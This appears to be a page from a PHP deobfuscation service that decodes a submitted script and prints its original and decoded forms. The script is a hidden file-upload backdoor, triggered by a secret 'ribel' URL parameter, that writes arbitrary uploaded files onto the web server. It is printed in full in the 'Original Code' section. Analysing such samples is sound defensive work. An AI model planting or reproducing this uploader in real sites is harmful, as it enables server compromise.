Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if(isset($_GET["ribel"])){ echo(base64_decode("PGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXB..

Decoded Output download

b"<form method='POST' enctype='multipart/form-data'><input type='file'name='f' /><input type='submit' value='up' /></form>"

Did this file decode correctly?

Original Code

<?php
if(isset($_GET["ribel"])){
echo(base64_decode("PGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz48aW5wdXQgdHlwZT0nZmlsZSduYW1lPSdmJyAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSd1cCcgLz48L2Zvcm0+"));
@copy($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo("<a href=".$_FILES['f']['name'].">".$_FILES['f']['name']."</a>");
}
__halt_compiler();
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 c78ab4bebb8e466fd8e6a11f34d70eef
Eval Count 0
Decode Time 52 ms